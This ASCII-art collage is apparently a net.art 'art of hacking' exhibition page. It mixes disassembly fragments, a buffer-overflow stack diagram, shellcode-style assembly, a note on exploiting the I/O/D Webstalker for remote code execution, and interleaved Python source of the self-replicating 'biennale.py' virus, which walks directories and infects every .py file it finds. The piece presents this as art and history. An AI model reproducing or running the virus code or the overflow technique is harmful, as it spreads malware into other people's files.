+--------------------------------------+          
                                                                                                                                                                                                                  | hack_art:                            |          
                                                                                                                                                                                                                  | push   esi {__saved_esi}             |          
                                                                                                                                                                                                                  | mov    esi, dword [esp+0x8 {arg1}]   |          
                                                                                                                                                                                                                  | mov    eax, dword [esi]              |          
                                                                                                                                           ``                                                                     | cmp    byte [eax+0x6], 0x0           |          
 `syyssoo++//::----.                       .,,,,,,,,.                                                                                    :yNh                                                                     | jne    0x403e25                      |          
 `NMMMMMMMMMMMMMMNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNmo´```hddhhs+sysyyyysyyyyyyys                  .`                              `+hMMMN`                           `                   ``                   |                                      |          
  mMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMh .:sms dMMd'   ``.dN  oMM  oMd             .+yhdNd                         .o   yMMMMMMo                          /d/                ./dd                   +-----------------//:------------------+          
  s.----::://++ooossssyyyyyyhhhhdddddhhhhhdddmmmmNNm  +dNMMy dNo`/mMo` +NN+:hMN- .Ny            +NMMMMMm       -                :mo   +MMMMMMs                         +NMN:    +------` .sNMMM/ .-.  .:/  -------------------------++
  o net.art                     `````    ``````````` yMMMMMy ```yNMMMy  :::://++/+os           +NMMMMMM+    .-yNh.             /Nm`   `MMMMMMd`                       +NMMMm.   | ````` :NMMMMMd ```-yNMy  `````````````````````````//.
  o scanning                              .s.       `NMMMMMy  .dMMMMMMy`           o          /NMMMMMMMo/sddNNMMMm:           sNM-    `MMMMMMM.                      .NMMMMMh   |      `mMMMMMMM. `sNMMM-               +-----------//-------------+
  o artworks                             /mMd`       mMMMMMN  -NMMMMMMMo          `+         /NMMMMMMMMMMMMMMMMMMMNs`        oMMs      sMMMMMM.        ::.            +MMMMMMs` |      /MMMMMMMMh`dMMMMN`               | movsx   eax, word [eax]  |
  o ------->                           .sNMMMy       oMMMMMM   sMMMMMMMN+         `+        /NMMMMMMMMMMMMMMMMMMMMMMy       .NMh` `:y+ oMMMMMM/       /NMms.           yMMMMMM/ `      mMMMMMMMMM+MMMMMs                | test    eax, eax         |
 `+ identify                          smMMMMMN:      oMMMMMM`  `NMMMMMMMNo        .+       sNMMMMMMMMMMMMMMMMMMMMMMMMo     `yMd.`/dMMN`oMMMms:`      :NMMMMm/`         `dMMMMMm-      oMMMMMMMMMMNMMMMm:                | je      0x403dcf         |
 .+     target                        sMMMMMMMd`     oMMMMMM`   /MMMMMMMMMo       ./      oMMMMMMMMMMMMMMMMm+:mMMMMMMN.   `dMd-/dMMMMN`-ho-`  .-    -mMMMMMMMms.        :MMMMMMd     /MMMMsdMMMMMMMMMMy                 +-----------//-------------+
 -/                                   .dMMMMMMM+     oMMMMMM`   :MMMMMMMMMN+`     -:    `yMMMMy:MMMMMMMMN+/`  -mMMMMMMh` `yMMhdMMMMMMN` ` `:+dNh    sMMMMMMMMMMmo`       yMMMMMM/   `hMMMm.-MMMMMMMMMMs                             //
 -:    the art of                      .NMMMMMMN-    oMMMMMM`   -MMMMMMMMMMMo`    :-   `hMMMNo``MMMMMMMMo      .NMMMMMMy:hMMMMMhhMMMMN`  .dMMMMd     sMMMMMMMMMMMm+`     .NMMMMMd`  /MMMM+  sMMMMMMMMM- ---------------------------://:-------------------+
 :-       hacking                       sMMMMMMMs    oMMMMMM`   -MMMMMdMMMMMMo    /.  .yMMMMs   hMMMMMMM-       /NMMMMMMMMMMNy:`oMMMMN   -MMMMMd     `yMMMMMMMMMMMMd/`    sMMMMMM/ `hMMMm. `.mMMMMMMMM` --------------+                         +-------://:-------+
 /.    what is it?                      .mMMMMMMN`   oMMMMMM`   .mMMMN.dMMMMMMo`  +  -mMMMMy`   oMMMNdy-         sMMMMMMMMms-   sMMMMs   :MMMMMm      .MMMMMMMMMMMMMMm/`  .NMMMMMd`:MMMMy    /MMMMMMMd` 28aec], 0x0   |                         + `````````````````|
 /.    Loading...                        oMMMMMMMo-:odMMMMMMyyyhhNMMMN -dMMMMMMh:://omMMMMm`    :ss/.`          `.dMMMMMMM.     sMMMM:   :MMMMMM:      yMMMMMMMMMMMMMMMy-  sMMMMMM:dMMMM+     sMMMMmy.  {data_528aec} |                         | cmp    eax, 0x1  |
 +`    +================>                `dMMMMMMMNMMMMMMMMMMMMMMMMMMMoohMMMMMMMMMMMMMMMMN:              ``--/ohd-oMMMMMMMs`    hMMMM-   /MMMMMMo      .NMMMMMdhMMMMMMMMNo`-NMMMMMmMMMMN.     `mMNs.                  |                         | je      0x403df8 |
 +`               download                sMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMy              .dmNNMMN/-yymMMMMMN:   .MMMMh    /MMMMMMm`      yMMMMMs`/dMMMMMMMMh.hMMMMMMMMMMMh+/:--./o-``      ------------+                         --------://:-------:
 o                complete               `+mMMMMMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMh             .dMMMMNh-    :MMMMMm.   :MMMMo    .MMMMMMMo      /MMMMMN` `oMMMMMMMMmNMMMMMMMMMMMMMMMMNNmmddhyso+//:-:                                 +---------://
 o                                       `yMMMMMMMMMMdsdMMMMMMohMMMMMMMMMNmmdmMMMMMMMMMMMMMM+`         `:dMMMds:       sMMNo`    sMMMN:     dMMMMMMN`     `NMMMMM`   +NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN. --+           +---------------//-----------------+
 o    #############  <<<                -hMMmmMMMMMMMo sMMMMMMNMMMMMMMNy:-.```hMMMMMMMMMMMMMMmyo::--:oydMNho:`         `s+.     `MMMMd  `.:/hMMMMMMMy.`    sMMMMM     -sNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMd`   |           | cmp    dword [0x528aec], 0x0     |
 o    # ./start   #  <<<               .mNho`/MMMMMMMy sMMMMMMMMNdmMMMs       `yMMMMMMMMMMMMMMMMMMMMMmhs:.                      -MMMMh:ydNMMMMMMMMMMMmds+-`:MMMNo       /mMMMMMMMMMMMMMMMMMyydmMMMMMMMMMMMMMNs` 8} |           | je    0x403e08 {data_528aec}     |
 o    #  hacking  # <<<               `hm:`  `mMMMMMMN`+MMMMMMMy-`oMMm.        `oNMMMMMMmNNNMNNmmds+:.                          /MMMmhysossoossymNNMMMMMMMmhNNd-         :dMMMMMMMMMMMMMMMMs` `/oyhdMMMMMMMm:      |           |                                  |
 o    #           #  <<<              oo`     hMMMMMMM+`NMMMMMM: .NMN/           -hMMMm/.---:-..`                               +Nh+.````````````.:ohNNNdy+/o/`           .yMMMMMMMMMMMMMMMMdo:-.//yMMMMMm/. ------+           +---------------://:---------------+   
 o    # the  art  # <<<             .-       :MMMMMMMs.MMMMMMMy :MN/             `/ys.           `-+s-            `--.`        `.   `               .-.`         ``...---..:hMMMMMMMMMMMMMMMMMMNMMMMMNd+.                                      //
 o    # --------- #  <<<                    .NMMMMMm.`MMMMMMMm-oN/                      ``..-/ohdNMM-        `.+hmMN+`         `:oyhyo:-.```       ````.-+s/osyhdmmNNMMMNh` NMMMMMMMMMMMMMMMMMMMMMmh/`.                            +----------:/
 +`   #############  <<<                     hMMMMd-  yMMMMMMM:+-        ```....-::/+syhdddhsNMMMMMN...--.` /dNMMMMMd/`     `/hmMMMMMMMMNmdhhyyyyyhhddmmMMMMNNNMMMMMMMMNs.  :mMMMMMMdmMMMMMMMMMNdo.  ./-----------------+          | +---------/:----------+
 /-````````````````                          yMMMm.   oMMMMMN+`   `-/osyhddmmNNMMMMMmy/'´ -.-NMMMMMMmmh+-  .dMMMMMMMMMdo.   .+ymNMMMMMMMMMMNNNNmmmNMMMMMm/::--::/+yMMNs.     -dMMMMs`.odmNNNms+:` ,sp+0cx {arg2}], 0x0  |          | | push    0x0 {var_8} |
 `............-------::::+:::://///::::::::  .MMm-    +MMMMd-  `-ymMMMMMMMMMNmmhy/'  :/oydmNMMMMMMMM:.    /NMMMNMMMMMMMMNh:`   `-sNMMMMMMMd--..```yMMMMMh        .sMy-        `yNMm.    .-..`   ,3df0                   |          | | call    sub_43f47a  |
                         o sub    rsp,0x20   `NN:     .NMMh` `/dMMMMMMMMMMMo-.. ..:dNNNmdmo//MMMMMMN`    oMMMMM/omMMMMMMMMMms:`   -mMMMMMMM-     .MMMMMMh     `-yNMh`           :y:  ----------------:------------------+          | +----------:----------+
                         o mov    DWORD PTR   /-      `NMh` :dNNMMMMMMMMMMMNosdNNmhs/:s` s  -MMMMMMM:   /MMMMMm  `:hNMMMMMMMMMmo-` :MMMMMNd+     /MMMMMMh    :dMMMMo                                 /:                            |            /
                         o lea    rdi,[rip+0           :/`  /:-:/smMMMMMMMMMMmo:.     o  y  `MMMMMMMs  `mMMMMMs     .yNNMMMMMMMMMdo:NMMy/.       +MMMMMMy   +MMMMMMN:`          |      +------------:/:                            +----------://
                         o call   0x555555555040 < put            `oNMMMMMMMMm`       /  y   NMMMMMMm  /MMMMMMo      +y-odNMMMMMMMMMMMM/         sMMMMMMh   sMMMMMMMMh-         |      | +----------//:-----------+         +-----------------://:----------------+
                         o mov    rax,QWORD PTR [rbp-0x20]          +MMMMMMMMMo       /  s   dMMMMMMM. sMMMMMMy..--::sm++ohMMMMMMMMMMNNd`        sMMMMMMh   `dMMMMMMNd/         |      | | push    0x0 {var_8}    |         | cmp    byte [esp+0xc {arg2}], 0x0   | 
                         o add    rax,0x8                          `-/NMMMMMMMN-     `+  o   oMMMMMMMs`hMMMMMMMMMMMMMMMMMMMMMMMMMNNdo:`h         +MMMMMMm    `+mNmN+-           |      | | push    0x1 {var_c}    |         | je     0x403e19                     | 
                         o mov    rdx,QWORD PTR [rax]                 oMMMMMMMMy     -+  s   -MMMMMMMMNMMMMMMMMMMMMMMMMMMNo++o++/-`    h-        +MMMMMMM.     -o h             |      | | push    esi {var_10_2} |         |                                     | 
                         o lea    rax,[rbp-0x8]                       `mMMMMMMMM-    :+  h    mMMMMMMMdsMMMMMMMMMMMMMMMMMMNy-          .-        -MMMMMMM+     `s y             |      | | call    sub_442738     |         +----------------://:-----------------+ 
                         o mov    rsi,rdx                              /MMMMMMMMh    .o  s    oMMMMMMMm yMMMMMMMMNdNMMMMMMMMMh:`                 `mMMMMMMd      y y`            |      | |                        |              +------------+/
                         o mov    rdi,rax                              :MMMMMMMMN`   `y `y    .MMMMMMMM: oNMMMMdo. .yMMMMMMMMMMmo.                sMMMMMMM.     h y.            |      | +----------://:----------+              | +---------://:-----------+
                         o call   0x555555555030 < strcpy@plt>         -MMMMMMMm:    `h `y     hMMMMMMMy  oNMMdo    .y+mMMMMMMMMMMh/`             :MMMMmy/`     d y.            |      +-------------::                          | | push    0x0 {var_8}    |
                         o mov    eax,0x0                              `yNMMMNs`     `m .y     /MMMMMMMN. .hdso     -o  /hNMMMMMMMMMNh+.           yd+.         m y/            |                   hy-                          | | push    0x1 {var_c}    |
                         o                                             `+oMMh-        m -s     `NMMMMMNo`  ++ o     :o    .+dMMMMMMMMMMMms-         +.          m y+            |        +---------://:----------+               | | push    esi {var_10_2} |
                         o                  .--:::::::::::::::::-:::-  `o:Ms          m`:+      sMMMMs.    ++ o     .s       yoyNMMMMMMNy/`         y/          m y+            |        | push    esi {var_8_1} |               | | call    sub_4445b2     |
                         -::::::::::::::::--.`                          y`s+          m./+      :MMsd      +o o     .h       h`  -+yds-`            h/         `m --            |        | call    sub_4451bf    |               | |                        |
                                                                        o ++          h-/+       +. y.     /y o`    .h       h`     `+              h/         -y               |        | jmp    0x403e1f       |               | +-----------:/-----------+
  `///////////////////////////////////////////////////.                 s +s          y//+          s:     /y +`    .d       h-     `o              h/         .d               |        |                       |               +-------------+/
  s:  `````````````````````````````````````````````` `y                 y +s          y//+          s+     /y +-    .N       `      .o              d/         :d               |        +-----------:/:---------+                             //
.-y: hshhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhsy.`y                 h +y          y//+          --     +y +:    .N              .o              h/          .               |                    /                             +----------://:---------+
.-y: hd```````````````````````````````````````````ho-`y                 h +y          y+++                 `- +:    `h              -o              +:                          |                    /                             | push esi {var_8_2}    |
.-y: hd                                           ho-`y                 h +o          y+s+                    +/                    -o                                          |                    /                             | call sub_442d98       |
.-y: hd  # about <------------ click              ho-`myyyyyy-........` m``..........`.`s+ .................. +o `.....             -o  oo   -y-oomso: ohoo+    `d                                       /+                        +---------://:----------+
.-y: hd                        |                  ho-`Ndddddd-````````` m` ```````````  s+ `````````````````` +o `````/`            -o  oy o`:h   N.   sy...    `M++y`:o+o+ d++s.os+o+`s++s`+s+s/`y+o:   /d+oo oo+s.:yo-s++s`                  /
.-y: hd  weirdstalker  <-------|                  ho-`y``````           d`              s+                    +s      :`            +y  /y+yy+o   N.   sh:::    `N  d-/o/sh m  s+s/ `m:m++y:o+ :y`oooo   /s .m.N++s+/s /d++y-`------:\         /
.-y: hd  pyndemic      <-------|                  ho-`y                 y.              s+                    +o      :`            oy  .Nh ym+   N.   ss       `h  s.oo/+s N+/s`sy/o/`o+/o`/: -o`o/+o   :+ `y ++/o.:/ `s+/o``----------------:/
.-y: hd  xsshredder    <-------|                  ho-`y                 y:              so                    `.      :`            yy `.:-.-:-...:....--...--...-..-..--.-.d--..s+--...--......-..--........-..---..---------------//
.-y: hd  bytesubstance <-------|                  ho-`y                 y:              /s                            :`            yy  `````````````````.::-```````````````````|`````````````````````````````````````              //
.-y: hd  counteross    <-------|                  ho-`y                 y-              /o                            :`            oo                `-:-`                     |                                    +-------------://:--------------+
.-y: hd  jodienum      <-------|                  ho-`y                 .               o+                            :`            -:             `-:-`                        |                                    | mov    eax, dword [esi]       |
.-y: hd  fwtoj         <-------|                  ho-`y                                 s-                            :`             `          `---`                           |                                    | mov    byte [eax+0x6], 0x1    |
.-y: hd  artasservice  <-------|                  ho-`y                                 `                             :`            :`        .--`                              |                                    +---------------:---------------+
.-y: hd  cryptoart     <-------|                  ho-`y                                                               :`            o.     .--`                                 +----------------------------------------------------/
.-y: hd  hackxibition /ctf  <--+                  ho-`y                                                               :`            h:  .--`                                                                                         /:
.-y: hd                                           ho-`y                                                               :.            h: -.`                                                                            +------------://:--------------+
.-y: hh-------------------------------------------yo-`y                                                           ``````````.:/-  ` d:                                  .+:::::::::::::::::::::::::::::::::::::::::/  | pop     esi {__saved_esi}    |
.-y+:h+++++++++++++++++++++++++++++++++++++++++++++s/:y     Receive Art                                        ```      .:odh+..--` d:                                 .//`+++++++++++++++++++++++++++++++++++++// s  | retn    0x8 {__return_addr}  |
.-y/..........................................:/:.....y     net.art Research                                  ``    .:ohmNd+` `.`   y:                                 -+/.h+..................................-os s  +..............................+
.-y:                                  -/ o` o y:y-   `y     Hacking Methods Collection                        .   -ohNNNNy.    .    ``                                 -+/.h/ void art() {                      ss s  ````````````````````````````````
.-y:                                  `` `  ` -::    `y     Alternative Tech Utilization                     ``    `.:yNNmh/`  .                                       -+/.h/     print("start hacking");       ss s
.-s+:::::::::::::/::::::::::::::::::::::/:::::::::::::o     Nervous Systems Exploration                      ``     :hNNNdy+`  .         We humans are not defective   -+/.h/     art = net.art();              ss s
`--::::::::::::::m...................../y:::::::::::-`      ASCII Porn                                        .   -hNmho-`    ``               because we do not fit   -+/.h/     for(i;art.works;i++){         ss s
   s+++++++++++++s/////////////////////+o++++++++++++o.     Discover Invisible Spaces                          .-sho:.       ``                     into the system.   -+/.h/         appropriation(i);         ss s
   h                             .//////syhhy/////:  o-     Error In The System                                -:-`        ``            The system claims this only   -+/.h/         possibility(i);           ss s
 ..h                             /ddddddmNNNmdddddy  o-     Redirect Code Rethink the Future                       ```-```            because it is afraid of us and   -+/.h/         inversion(i);             ss s
 .:d-------:----------------:-----------/+++/:-------s-     Of Signs and Miracles                                     :`         wants to weaken us with self-doubt.   -+/.h/      }                            ss s
 .:h.......d................o+.yoooooooooooooooooooy:s-     Beyond Surface                                            :`                Not only do we not have any,   -+/.h/      print("hacked!");            ss s
 .:h       d                +: d...................s-o-     We Are Humans                                             :`                         but we are the bug.   -+/.h/      return;                      ss s
 .:h       d                +: -------------:yyyho-- o-                                                               :`         We are the perfect, ultimate error,   -+/.h/ }                                 ss s
 .:h```````d````````````````+/```````````````////:```o-                        EXPLORE HACKS                          :`             which always leads to something   -+/.h+                                  `ss s
 ..s+os////s////////////////o+////////////////////+y/o`                                                               :`                     completely new, because   -++-yo////////////////////////////////////y`s
    ./s//////////////////////////////////////////:/o                                 |                                :`                       we are living beings.   -+o-:--------------------------::::-:://:---s
    `````````````````````````````````````````````                                    |                                :`                                               -+/                            :-.: +:oo-   s
                                                                                     |                                :`                                               -+/```````````````````````````````````:-````s
                                                                                     V                                :`                                               ./o//////////+o:::::::::::::::::s+/////////::
   memory                                                                                                             :`                                               ``://////////+s:::::::::::::::::y+/////////:.
   lower addresses                                                                                                    :`                                                 s                        .::::/osso::::. .+
   /------------------\           rax     rbp      r8      r12                                                        :`                                               `.y                        +yyyyhNNNmyyyy+ .+
   |                  |           rbp     rsi      r9      r13                                                        :`                                            ```.:h:::::/+:::::::::::::+:///////////////////+
   |       Text       |           rcx     rdi      r10     r14                                                        .--------------------------------------------oNNNNMd     .o             s s::::::::::::::::s.+
   |                  |           rdx     rsp      r11     r15                                                                                                     `...-/y     .o             s ::::::::::::oss+::.+
   |------------------|            |       |        |       |       mov eax, dword ptr ds:[ecx]    <--- CRASH                                                          `-y     .o             y            `+//:  .+
   |   (Initialized)  |      rip ----------|-----------------       call dword ptr ds:[eax]     <--- next instruction                                                  `.+/y/::/+:::::::::::::+:::::::::::::::::++:.
   |        Data      |                    |                                                                                                                              `////////////////////////////////////:/.
   |  (Uninitialized) |                    |                                                                                                                                                                  .-
   |------------------|    <--------   ###################         xor edx, edx     ; -> xor nulls the register = 00000000                                                                                 yMNhs++/`   When I first came into contact
   |                  |                #                 #         mov dl, 0x60	    ; -> adds 60 to the last byte = 00000060                                                                                mMMMMMMMd+.   with the subject of hacking
   |       Heap       |                #       CPU       #         mov dh, 0x1e	    ; -> add 1e to the previous byte = 00001e60              _________________________________________________              -MMMMMMMMMMm/  a few years ago in a seminar
   |                  |                #                 #         add edi, edx     ; -> summarizes 1e60, edi points to edi+1e60            |                                                 |               +NMMMMMMMMMM/  at the University of the Arts,
   |------------------|    -------->   ###################         call edi         ; -> here lays our shellcode                            | crawler                      ()        ()       |                :NMMMMMMMMMMs`  I bought Jon Erickson's book
   |                  |                                                                                                                     | html-stream                   \        /        |                 +MMMMMMMMMMMd`  "Hacking - The Art of Exploits"
   |       Stack      |                                                   ```                                                               | map                            \      /         |                  sMMMMMMMMMMMh`  full of naive expectations of
   |                  |                                               `:shdyhh/`   -///-                                                    |           -oo+-      ()_________\    /          |                  .yMMMMMMMMMMMh`  interesting hacking art.
   \------------------/                                              `hNo:-.-omd. +NdsdN: ``                           :oyys+.     `...``            `yms+yNy`                 (  )-----()    |                  `sMMMMMMMMMMM+
   higher addresses                                                  yM:      :Ms +Nhodm:ymhs`               ```     .ydo:-/sds.-+yyhyyyys:`         hM:   :md/ooo+-`             \           |                   .NMMMMMMMMMMM.  Until today it is among the most
                                                                     N       :Ms  ./o+. hNNN-.-:+/.`   `:oyyyyyys+-.dd-     -hmms:.```.-+dh-       .Mh     .hMd++smd+``.-.         \          |                   -MMMMMMMMMMMy   in-depth and technical books about
               buffer                sfp   ret   a     b     c       yM/`    .hN-`.oyyyo``-::shhsosdy.-shho:-...-/sddN/       oms    `.`  .hm-  ````-My      `hN-  `+Mhhmdmy.       \         |                    mMMMMMMMMMMm`  computers I have read
   <------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]    `smhyssymh- yds:-:dd` `oN+    -hdmy-          .dN.      `hm.  +o+No   -mh:yhhhhhMy       .Nd`   MMM/`/My        ()       |                    oMMMMMMMMMMM-  and for a long time I wondered 
              ^                            |                           `-::::-`oms.    oNyyydm+     `yN/            smo---../hd/   smhd/    mNNo-..:omN/       +Mm--oNyhmhhN/.sys-            |                    :MMMMMMMMMMM/  what exactly the art of hacking was.
              |____________________________|                                 `ym+      +mmo-+Ny      `md     `      ymdddddmNo`     .-`    .NN-      `yM/       dMmhs:  .::. yMymM/           |                    .NMMMMMMMMMM-
   top of                                                  bottom of   ``...`oN+       smo  -No       yN.   `yo   `:mh`   ./hd-    .:     .hm-        -Ns       -Md          .ohhs.           |                    -NMMMMMMMMMM-  Now I have created the work
   stack                                                 stack       `sdmdddmNm       .mm`  /m+       sN-   :mmysyhd+`      `mh    hN:`.:odh-          :.        hM.                          |                    +MMMMMMMMMMN.  I wish I had read on the subject
                                        ``:`    `:-              ``.dN:`   `Nd        :-    .        sN-     `+Nh.          hN`   :dmdmmNy-       .-            yM-                           |                    /MMMMMMMMMMs  at that time.
                                      `/dmMo   `NMMs         `:ohdmmM/      md          :o.          hm`  .s,,:Ny           mm   `/.`.--/smh-   ``hM`           hM.  _________________________|                   `mMMMMMMMMMM+
                                    .omMMMN+    yNd:.+syy+  -mmo::/MM`      yN.        `mm`         +N+   :mmdmN/          +N+   .dm+     `ym/  hdNh            NN                                                .MMMMMMMMMMm`  My wish is that art students
                                  osNMMMMM+         mNo/sM:`Nm`    NM.      /No        `md`        .md     -..-+my        /mh     hm/       yN/  .-            /Ms  Thus, the system enters a completely new      yMMMMMMMMMM/   will be inspired by   
                                `sMMMMMMM/  I/O/D   hNsodN-`dNo.``/MMd/.    +Mm.        mm+       :dm-          oN+     `+mN`     mN/       `dm.            .shNo`      state that processes a sequence of       `dMMMMMMMMMh   the possibilities of technology
                               `dMMMMMMMo`  WEB      -/++.   :ymmmho.+hmNdhdNyNy       oNdm+    .omm/           omd:-:+ymhyN/    :mN-        +N/          `/Nm/`         instructions in machine language        oMMMMMMMMMm`  and computer scientists
                              :mMMMMMMMd.  STALKER                      `--.``dN:   ./hm/ /hmhydmyoNs           dmoyyso/. `ymso+yNhNs       .dNmyso+///+shNd+`  `-://:-`      that did not exist in the         oMMMMMMMMMMo   will be inspired by
                             :NMMMMMMMM+                                      `ohddddy/`    `...   +mh:`     ./hN/.+`     ``.:/+/. /dh+/++sdms//+++oooso+:`    /NNmssydNs`     program until that moment.      +MMMMMMMMMN/   the philosophies of art
                             sMMMMMMMMM-  is                             `:smy                       `+ydmdddmdy+. +M/   `+Nd  :/----.+so++/.        `ohyyo.   hM+`     -Nm     The program undergoes a        /MMMMMMMMMM-  through this Hacking Art.
                            .NMMMMMMMMd`   a                          `/yNmMd.      `.-::///oossyhhhdmd.```````    hM. `oNNMy  hMhhhhddd/  ///sNMNd: oMo:/mN. `Mh        mN`    process of complete          `oMMMMMMMMMd/                             
   from string import *     sMMMMMMMMMd`                            -sNd+.sM:`osydmmdddyysNMo+//:-yMN.`  /s`      -My`omd/+.   hM.   ```  :Mdssymm+  -hmdydN.  hN+.    `sMo     atomization and sub-        `dMMMMMMMMMy`   ..........|
   import os, sys           yMMMMMMMMMd    weird                 `/dmy-`  .:   ysyho+    `yN+    `yMMN  .Nd        hMsmm/`      Nm         :My/ +sNN`   `-:/.   `/hdmddddh/     sequent recomposition      :hMMMMMMMMNo  ...2..>D....K|
   from stat import *       +MMMMMMMMMm`    machine             .smh+`    .:+yMNdysoym\ :dN/    .dNNM/ .dN-       :MMMNs/:.    `NN+ooyyyyh.yMMMms+/.               ``...``    possibly comparable        .hMMMMMMMMNd:  #.............|   
   from time import sleep   oMMMMMMMMMM-                      -ymy:``-/ohmdys/-.`:smh+.-mm-    /mN MN+`dN:       -mMs:/oyhddo. .Mmo+/'''''``Nmohmy/.                       to a kind of "ego            /NMMMMMMMMd- |2..>D....K._.s..|
   def fornicate(guest):    `NMMMMMMMMMy`                   .hNmysyddhyo:.`   .odds-` /Nh.   .hMMdMMo-hN:    .:ohmMy     `.:hNs+Mo|         dM `-+hdds/.                  dissolution" which           hMMMMMMMMN:`  |..........2..>D.| 
     try:                    oMMMMMMMMMMo                   :yhys+:-.`     `/hmy/`   +Ny`  `+mh+-:My sM+ `-+hdho:hM+          /hdM/          hM`    .:ohdds/.      :h-   people describe             :yMMMMMMMMs-    |................|
      soul = open(guest, "r").NMMMMMMMMMMo                               -smd+.     oMs`  -hm+`  yM-:Mh:oddy/--:+NMdhhs       `yMm++..-::/++yM:.-:+s+  .:ohddy/-` -Nd`  after consuming           `sdMMMMMMMNy:      |....i...zJ._P"..|
      body = soul.read()     -dMMMMMMMMMNo`                           .+dms-`      :My    mN-   .my mMmhs:`.ydhhs/-.`          dNhhhhhdmmNNMmMdhhys+-      `-+yhdy+yMs   psychedelics.         `+mMMMMMMNmd/`        |..........F....]|
      soul.close()            .mMMMMMMMMMMd/`                `oy   `:ydh/.         :y.   .My     .` ++-`   `--`                .-...hddhhys+/-..`          .---::ohdMM+                      .+dMMMMMMMm+``          |..8...!nzJ._c"..|
      if body.find("[epidemiC]") == -1: MMMh:`              :hm+.:yddo-                  +M+                                        --.`                   +hhhhhhhdNMNo                  :+mMMMMMMmh:`              |..........F....]|
       soul = open(guest, "w")  -yNMMMMMMMMMNms`          :hMdyhdho-`                    yM-  EXPLOITING THE I/O/D WEBSTALKER                                   ``..--:+:               -+hNMMMMMNy/`                |..8...!nzJ._s"..|
       soul.write(mybody + "\n\n" + body) MMMMms-        `dNNMMms:-.`                   `Nm     41414141 Classic stack based buffer overflow                                       -sdNMMMMMNds.                     |..8...!nzJ._."..|
       soul.close()              `/dNMMMMMMMMMMNy/`       `.-:/oshdhhyo                 :N+                 Overflow in networking lib leads to                                `/sNMMMMMNho-`                        |..........F....]|
    except IOError: pass          `-+mMMMMMMMMMMMms.               `-::                  .                      Remote code execution when crawling a website ------------------------------------------------------------+ !nzJ._."..|
   def chat(party, guest):          ./ymMMMMMMMMMMNs-                                                                                                                     `yMMMMMMMs/.                                    | ......8...|
    if guest.split(".")[-1] in ("py", "pyw"): MMMMMMm+                                                                                                                  .odMMMMMMm/  Structures and logic                 | ."........|
     fornicate(party + guest)            `-odMMMMMMMMMy-                                                                             In the end, it doesn't matter    `:mMMMMMMm/. can serve as artistic material.        | 8...!nzJ._|
   def join(party):                         `yNMMMMMMMMN/           Released on the night of the opening,               -/ymMd:.sy/     how the code is approached,   .hMMMMMMdo.  However, not their                     | ..........|
    try:                                      .:dMMMMMMMN-         it quickly spread around the world.          +mMm++/` /NMy+`/hMy.               what matters is   -/mMMMMMNo.  visually perceptible form,              | 8...!nzJ._|
     if not S_ISLNK(os.stat(party)[ST_MODE]):   `hMMMMMMMm/         Immaterial and self-replicating,           `ohydMy+--`.hso:o:mo`     /s+.     doing it at all.   +NMMMMMMm-  as expressed in abstract painting,       | ..........|
      guestbook = os.listdir(party)               sMMMMMMMh         when the virus enters a computer            yMMNo`/MhysyNMMMhsss+oymdsyMd`                       oMMMMMMMh.  but their invisible                      | 8...!nzJ._|
      if party != "/":                             .hMMMMMMN.           it stays there,                 .+hmds/yhMmo. +NMMm:mMMMMMMMd+NMMNh+Mmo`                     `dMMMMMMs`  and abstract essence in itself.          | ..........|
       party = party + "/"                           dMMMMMM`                hidden,                    yo:mms/+MMMNhmMMMMs.+o/mMMMMMdNMMN+ohMMm.                     yMMMMMM+  The structure and logic as such           | zJ._."....|
      if not party.lower() in wank and not "__init__.py" in guestbook:         trying to survive       /-`/Mos/:NMMMhyMMMMN+` hMMMMMMM+yMMMdsohmm-                    -NMMMMMy   can be experienced through art.          | ....8...!n|
       for guest in guestbook:                          +MMMMMM/           for as long as possible.  .my//+MMMhsMMMMmdMdMMMMy/MMmoMMMMMMMMMMMMNhNy.                    mMMMMMd`                                           | ..........|
        chat(party, guest)                              -NMMMMMd                                    :shh`-`dMNMMMhhhs`..NMMMMMydMmMNdyshNMMMMy::yyMs                    dMMMMM+   First, you must realize                 | .]..8...!n|
        join(party + guest)                              +MMMMMh.           0100101110101101.org   dNs`:-MNhdydMNoy-`-sdMMNNMMdy/odMMNy/hshyMNhMysNN:                   `MMMMMd   that a file has no intrinsic meaning.   | ..........|
     except OSError: pass                          -+/+hmhdNMMMMy`                                 -  oyMNhyhsss+dMdmMdhMhohhMMMy+oMMMNdhdNMNMMmNNymd                    :MMMMM-  The meaning of a file - its type,       | ..!nzJ._ #|
    if __name__ == '__main__':                 `/hdMMMMMMMMMMMm+                                       `NMdso//+mMMMMMMs/+shMydMo/sMMMmydMMMod:ohM:.                      .MMMMN`  its validity, its contents -           | ........8.|
     mysoul = open(sys.argv[0])              `oNMMMMMMMMMMMmd/`                                     +. /yMMMNmyMoNMMMNs``:hMMyMMMmMMMMh.oMMMMMMdy:                         sMMMM/   can be different for each             | ._.#......|
     mybody = mysoul.read()                 `NMMMMMo::oo+-.`                                       oNh+.:MM/oMdysMMdmN/ `-yNMymMMMMMMMMyhmyMMMMy`-++:                      -MMMMo    parser or interpreter.               | >....]..8.|
     mybody = mybody[:mybody.find("#"*3) + 3] NMMMMh                                               :yyyyNoo`        ''/+.hMMNoo/::sdMMMMMNMMMMMy+yMMd                       -hMMN`                                        | ._;#......|
     mysoul.close()                         +MMMMMh                                                  \N/      ..-..`       \N/       \NNN::/+'                               -NMM+           Ange Albertini               | ..8...!nzJ|
     blacklist = sys.exec_prefix.split(":")[-1].replace("\\", "/")                                        `/shhddddhs:          -/+`  \MNNN+'             /mMd.              .oNMs-       .,::::,.                        | ..........|
     if blacklist[-1] != "/": blacklist = blacklist + "/"               .`   ``  -:          .:sso/     `+hdy:.:ymmmmdyhy`    :yddm+   ':N/-+:           yMMMm:               .syh- -sddmNNMNNMMNNms:                     | !nzJ._V#..|
     wank = [blacklist.lower(), "/proc/", "/dev/", "/sys/"]            -:   -y- :m`         .hdmmmd:   -hmd+`   `ymmmmmmm+    ommmmd:   +yMMd           -dMMMNo-                ` -+s/:/+.::/shshNMNmo:                   | .........]|
